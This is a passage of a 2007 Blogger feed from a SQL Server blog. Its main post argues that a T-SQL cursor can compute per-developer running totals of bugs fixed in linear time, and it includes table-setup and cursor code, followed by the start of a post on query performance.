href='http://www.blogger.com/feeds/36312929/posts/default/12807755800803994'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/12807755800803994'/><link rel='alternate' type='text/html' href='http://evanreiser.blogspot.com/2007/05/generating-numbers-table.html' title='Generating a Numbers table'/><author><name>Evan Reiser</name><uri>http://www.blogger.com/profile/01139605078652057619</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='17' src='http://3.bp.blogspot.com/_7NyTnt202Ww/SWGa9n2BMSI/AAAAAAAAAMU/J94zxuAkhec/s1600-R/brothers_t550.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-36312929.post-4521098951648740230</id><published>2007-05-24T16:16:00.000-04:00</published><updated>2007-07-06T14:35:50.348-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Cursors'/><category scheme='http://www.blogger.com/atom/ns#' term='SQL Server 2005'/><category scheme='http://www.blogger.com/atom/ns#' term='Database Systems'/><title type='text'>When to not not use Cursors Part 2</title><content type='html'>If you're a new-hire or intern of ours at &lt;a href="http://www.capitaliq.com/"&gt;Capital IQ&lt;/a&gt;, stop reading, never use cursors. Ever.&lt;br /&gt;&lt;br /&gt;Well my &lt;a href="http://www.evanreiser.com/2007/05/when-to-not-not-use-cursors.html"&gt;last attempt&lt;/a&gt; to prove that cursors can sometime be useful was derailed by my co-worker Mike Forman&lt;br /&gt;&lt;br /&gt;This time i have a better (read: valid) example&lt;br /&gt;&lt;br /&gt;I have the following table:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_7NyTnt202Ww/RlX2KFNU-_I/AAAAAAAAADk/pjkam5Wq3ME/s1600-h/cursorTable.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://4.bp.blogspot.com/_7NyTnt202Ww/RlX2KFNU-_I/AAAAAAAAADk/pjkam5Wq3ME/s320/cursorTable.png" alt="" id="BLOGGER_PHOTO_ID_5068227608732564466" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Which shows a bunch of employees at an unamed company, and the number of bugs they've fixed each day.  For each of these employees i want to determine the running total of bugs fixed, each day. I can use the results of this query to create a pretty graph of bugs fixed over time per developer.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_7NyTnt202Ww/RlX28lNU_AI/AAAAAAAAADs/IxytBVhfBvw/s1600-h/bugcount.PNG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://2.bp.blogspot.com/_7NyTnt202Ww/RlX28lNU_AI/AAAAAAAAADs/IxytBVhfBvw/s320/bugcount.PNG" alt="" id="BLOGGER_PHOTO_ID_5068228476315958274" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Now, using a cursor based solution we scan each piece of data once, which garauntees we have O(n) performance, meaning that as the number of entries in our table increase we can still create the desired results in time proportional to the number of rows.  A set based solution suffers from O(n^2) performance (assuming there is no index on empid, BugsFixed).  Even if there was an index a scan will results in (developers * (days + days^2)/2) rows scaned...which basically simplifies to O(n^2).&lt;br /&gt;&lt;br /&gt;Now since cursors involve some overhead, the cursor solution will lose to the set based solution for a small number of items, however due to the performance limitations described above, the cursor solution is the only scalable choice to solve this problem.&lt;br /&gt;&lt;br /&gt;Now watch Mike beat this using the OVER Clause.....&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Code to Create this table:&lt;br /&gt;&lt;br /&gt;       &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: green;"&gt;--CREATE TABLE&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;IF&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; &lt;span style="color: fuchsia;"&gt;OBJECT_ID&lt;/span&gt;&lt;span style="color: gray;"&gt;(&lt;/span&gt;&lt;span style="color: red;"&gt;'tempdb.dbo.BugCounts'&lt;/span&gt;&lt;span style="color: gray;"&gt;)&lt;/span&gt; &lt;span style="color: gray;"&gt;IS&lt;/span&gt; &lt;span style="color: gray;"&gt;NOT&lt;/span&gt; &lt;span style="color: gray;"&gt;NULL&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;DROP&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; &lt;span style="color: blue;"&gt;TABLE&lt;/span&gt; tempdb&lt;span style="color: gray;"&gt;.&lt;/span&gt;dbo&lt;span style="color: gray;"&gt;.&lt;/span&gt;BugCounts&lt;span style="color: gray;"&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;GO&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;                &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;CREATE&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; &lt;span style="color: blue;"&gt;TABLE&lt;/span&gt; tempdb&lt;span style="color: gray;"&gt;.&lt;/span&gt;dbo&lt;span style="color: gray;"&gt;.&lt;/span&gt;BugCounts&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: gray;"&gt;(&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;    empid &lt;span style="color: blue;"&gt;INT&lt;/span&gt; &lt;span style="color: gray;"&gt;NOT&lt;/span&gt; &lt;span style="color: gray;"&gt;NULL,&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;    workDay &lt;span style="color: blue;"&gt;smalldatetime&lt;/span&gt; &lt;span style="color: gray;"&gt;NOT&lt;/span&gt; &lt;span style="color: gray;"&gt;NULL,&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;    bugsFixed &lt;span style="color: blue;"&gt;INT&lt;/span&gt; &lt;span style="color: gray;"&gt;NOT&lt;/span&gt; &lt;span style="color: gray;"&gt;NULL,&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;    PRIMARY&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; &lt;span style="color: blue;"&gt;KEY&lt;/span&gt;&lt;span style="color: gray;"&gt;(&lt;/span&gt;empid&lt;span style="color: gray;"&gt;,&lt;/span&gt; workDay&lt;span style="color: gray;"&gt;)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: gray;"&gt;);&lt;o:p&gt;&lt;br /&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;                                  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: green;"&gt;--POPULATE TABLE create 10K data points&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;DECLARE&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;@newn &lt;span style="color: blue;"&gt;AS&lt;/span&gt; &lt;span style="color: blue;"&gt;INT&lt;/span&gt;&lt;span style="color: gray;"&gt;,&lt;/span&gt; @newempid &lt;span style="color: blue;"&gt;AS&lt;/span&gt; &lt;span style="color: blue;"&gt;INT&lt;/span&gt;&lt;span style="color: gray;"&gt;,&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;@newworkDay &lt;span style="color: blue;"&gt;As&lt;/span&gt; &lt;span style="color: blue;"&gt;INT&lt;/span&gt;&lt;span style="color: gray;"&gt;,&lt;/span&gt; @newbugsFixed &lt;span style="color: blue;"&gt;As&lt;/span&gt; &lt;span style="color: blue;"&gt;INT&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;DECLARE&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; C &lt;span style="color: blue;"&gt;CURSOR&lt;/span&gt; FAST_FORWARD &lt;span style="color: blue;"&gt;FOR&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;SELECT&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; &lt;span style="color: blue;"&gt;top&lt;/span&gt; 10000 n&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;FROM&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; numbers_tbl&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;OPEN&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; C&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;FETCH&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; NEXT &lt;span style="color: blue;"&gt;FROM&lt;/span&gt; C &lt;span style="color: blue;"&gt;INTO&lt;/span&gt; @newn&lt;span style="color: gray;"&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;WHILE&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; &lt;span style="color: fuchsia;"&gt;@@fetch_status&lt;/span&gt; &lt;span style="color: gray;"&gt;=&lt;/span&gt; 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;BEGIN&lt;o:p&gt;&lt;/o:p&gt;&lt;br /&gt;INSERT&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; &lt;span style="color: blue;"&gt;INTO&lt;/span&gt; tempdb&lt;span style="color: gray;"&gt;.&lt;/span&gt;dbo&lt;span style="color: gray;"&gt;.&lt;/span&gt;BugCounts &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;VALUES&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; &lt;span style="color: gray;"&gt;(&lt;/span&gt;@newn&lt;span style="color: gray;"&gt;%&lt;/span&gt;25&lt;span style="color: gray;"&gt;,&lt;/span&gt; &lt;span style="color: fuchsia;"&gt;dateadd&lt;/span&gt;&lt;span style="color: gray;"&gt;(&lt;/span&gt;&lt;span style="color: fuchsia;"&gt;day&lt;/span&gt;&lt;span style="color: gray;"&gt;,&lt;/span&gt; &lt;span style="color: fuchsia;"&gt;rand&lt;/span&gt;&lt;span style="color: gray;"&gt;()*-&lt;/span&gt;300&lt;span style="color: gray;"&gt;,&lt;/span&gt; &lt;span style="color: fuchsia;"&gt;GetDAte&lt;/span&gt;&lt;span style="color: gray;"&gt;()),&lt;/span&gt; &lt;span style="color: fuchsia;"&gt;CAST&lt;/span&gt;&lt;span style="color: gray;"&gt;(&lt;/span&gt;&lt;span style="color: fuchsia;"&gt;RAND&lt;/span&gt;&lt;span style="color: gray;"&gt;()*&lt;/span&gt;100 &lt;span style="color: blue;"&gt;AS&lt;/span&gt; INTEGER&lt;span style="color: gray;"&gt;))&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;FETCH&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; NEXT &lt;span style="color: blue;"&gt;FROM&lt;/span&gt; C &lt;span style="color: blue;"&gt;INTO&lt;/span&gt; @newn&lt;span style="color: gray;"&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;END&lt;o:p&gt;&lt;/o:p&gt;&lt;br /&gt;CLOSE&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; C&lt;span style="color: gray;"&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;DEALLOCATE&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; C&lt;span style="color: gray;"&gt;;&lt;/span&gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;br /&gt;&lt;br /&gt;Cursor Solution:&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;&lt;br /&gt;DECLARE&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; @Result&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;&lt;br /&gt;TABLE&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: gray;"&gt;(&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;empid &lt;span style="color: blue;"&gt;INT&lt;/span&gt;&lt;span style="color: gray;"&gt;,&lt;/span&gt; workDay &lt;span style="color: blue;"&gt;SMALLDATETIME&lt;/span&gt;&lt;span style="color: gray;"&gt;,&lt;/span&gt; bugsFixed &lt;span style="color: blue;"&gt;INT&lt;/span&gt;&lt;span style="color: gray;"&gt;,&lt;/span&gt; runbugsFixed &lt;span style="color: blue;"&gt;INT&lt;/span&gt;&lt;span style="color: gray;"&gt;);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;DECLARE&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;@empid &lt;span style="color: blue;"&gt;AS&lt;/span&gt; &lt;span style="color: blue;"&gt;INT&lt;/span&gt;&lt;span style="color: gray;"&gt;,&lt;/span&gt;@prvempid &lt;span style="color: blue;"&gt;AS&lt;/span&gt; &lt;span style="color: blue;"&gt;INT&lt;/span&gt;&lt;span style="color: gray;"&gt;,&lt;/span&gt; @workDay &lt;span style="color: blue;"&gt;SMALLDATETIME&lt;/span&gt;&lt;span style="color: gray;"&gt;,&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;@bugsFixed &lt;span style="color: blue;"&gt;AS&lt;/span&gt; &lt;span style="color: blue;"&gt;INT&lt;/span&gt;&lt;span style="color: gray;"&gt;,&lt;/span&gt; @runbugsFixed &lt;span style="color: blue;"&gt;AS&lt;/span&gt; &lt;span style="color: blue;"&gt;INT&lt;/span&gt;&lt;span style="color: gray;"&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: gray;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;DECLARE&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; C &lt;span style="color: blue;"&gt;CURSOR&lt;/span&gt; FAST_FORWARD &lt;span style="color: blue;"&gt;FOR&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;SELECT&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; empid&lt;span style="color: gray;"&gt;,&lt;/span&gt; workDay&lt;span style="color: gray;"&gt;,&lt;/span&gt; bugsFixed&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;FROM&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; tempdb&lt;span style="color: gray;"&gt;.&lt;/span&gt;dbo&lt;span style="color: gray;"&gt;.&lt;/span&gt;BugCounts&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;ORDER&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; &lt;span style="color: blue;"&gt;BY&lt;/span&gt; empid&lt;span style="color: gray;"&gt;,&lt;/span&gt; workDay&lt;span style="color: gray;"&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: gray;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;OPEN&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; C&lt;o:p&gt;&lt;br /&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;FETCH&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; NEXT &lt;span style="color: blue;"&gt;FROM&lt;/span&gt; C &lt;span style="color: blue;"&gt;INTO&lt;/span&gt; @empid&lt;span style="color: gray;"&gt;,&lt;/span&gt; @workDay&lt;span style="color: gray;"&gt;,&lt;/span&gt; @bugsFixed&lt;span style="color: gray;"&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;SELECT&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; @prvempid &lt;span style="color: gray;"&gt;=&lt;/span&gt; @empid&lt;span style="color: gray;"&gt;,&lt;/span&gt; @runbugsFixed &lt;span style="color: gray;"&gt;=&lt;/span&gt; 0&lt;span style="color: gray;"&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: gray;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;WHILE&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; &lt;span style="color: fuchsia;"&gt;@@fetch_status&lt;/span&gt; &lt;span style="color: gray;"&gt;=&lt;/span&gt; 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;BEGIN&lt;o:p&gt;&lt;/o:p&gt;&lt;br /&gt;IF&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; @empid &lt;span style="color: gray;"&gt;&lt;&gt;&lt;/span&gt; @prvempid&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;SELECT&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; @prvempid &lt;span style="color: gray;"&gt;=&lt;/span&gt; @empid&lt;span style="color: gray;"&gt;,&lt;/span&gt; @runbugsFixed &lt;span style="color: gray;"&gt;=&lt;/span&gt; 0&lt;span style="color: gray;"&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: gray;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;SET&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; @runbugsFixed &lt;span style="color: gray;"&gt;=&lt;/span&gt; @runbugsFixed &lt;span style="color: gray;"&gt;+&lt;/span&gt; @bugsFixed&lt;span style="color: gray;"&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: gray;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;INSERT&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; &lt;span style="color: blue;"&gt;INTO&lt;/span&gt; @Result &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;VALUES&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: gray;"&gt;(&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;@empid&lt;span style="color: gray;"&gt;,&lt;/span&gt; @workDay&lt;span style="color: gray;"&gt;,&lt;/span&gt; @bugsFixed&lt;span style="color: gray;"&gt;,&lt;/span&gt; @runbugsFixed&lt;span style="color: gray;"&gt;);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: gray;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;FETCH&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; NEXT &lt;span style="color: blue;"&gt;FROM&lt;/span&gt; C &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;INTO&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; @empid&lt;span style="color: gray;"&gt;,&lt;/span&gt; @workDay&lt;span style="color: gray;"&gt;,&lt;/span&gt; @bugsFixed&lt;span style="color: gray;"&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;END&lt;o:p&gt;&lt;br /&gt; &lt;/o:p&gt;&lt;br /&gt;CLOSE&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; C&lt;span style="color: gray;"&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;DEALLOCATE&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; C&lt;span style="color: gray;"&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;select&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; &lt;span style="color: gray;"&gt;*&lt;/span&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;from&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; @result &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;order&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; &lt;span style="color: blue;"&gt;by&lt;/span&gt; empid&lt;span style="color: gray;"&gt;,&lt;/span&gt; workday&lt;span style="color: gray;"&gt;;&lt;/span&gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/36312929-4521098951648740230?l=evanreiser.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://evanreiser.blogspot.com/feeds/4521098951648740230/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=36312929&amp;postID=4521098951648740230' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/4521098951648740230'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/4521098951648740230'/><link rel='alternate' type='text/html' href='http://evanreiser.blogspot.com/2007/05/when-to-not-not-use-cursors-part-2.html' title='When to not not use Cursors Part 2'/><author><name>Evan Reiser</name><uri>http://www.blogger.com/profile/01139605078652057619</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='17' src='http://3.bp.blogspot.com/_7NyTnt202Ww/SWGa9n2BMSI/AAAAAAAAAMU/J94zxuAkhec/s1600-R/brothers_t550.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_7NyTnt202Ww/RlX2KFNU-_I/AAAAAAAAADk/pjkam5Wq3ME/s72-c/cursorTable.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-36312929.post-2136832869910846310</id><published>2007-05-24T09:27:00.001-04:00</published><updated>2007-05-24T09:52:25.535-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Query Tuning'/><category scheme='http://www.blogger.com/atom/ns#' term='SQL Server 2005'/><category scheme='http://www.blogger.com/atom/ns#' term='Database Systems'/><title type='text'>Improving SQL Server Performance</title><content type='html'>True or False? SQL Server produces execution plans that minimize overall resource use to improve system wide performance.&lt;p&gt;False. Sql server minimizes the time it takes to return results to the client, if multiple cpus are available it will run parts of the query in parallel even though a single cpu solution would minimize overall resource use.&lt;/p&gt;&lt;p&gt;When dealing with database performance problems, many database professionals will look at a variety of metrics, queue sizes, cache hit ratios, etc. However, when users use your database the only important metric, how long it takes for the database system to return results.  System  performance metrics are a lot different than the user's perceived performance, at the end of the&lt;br 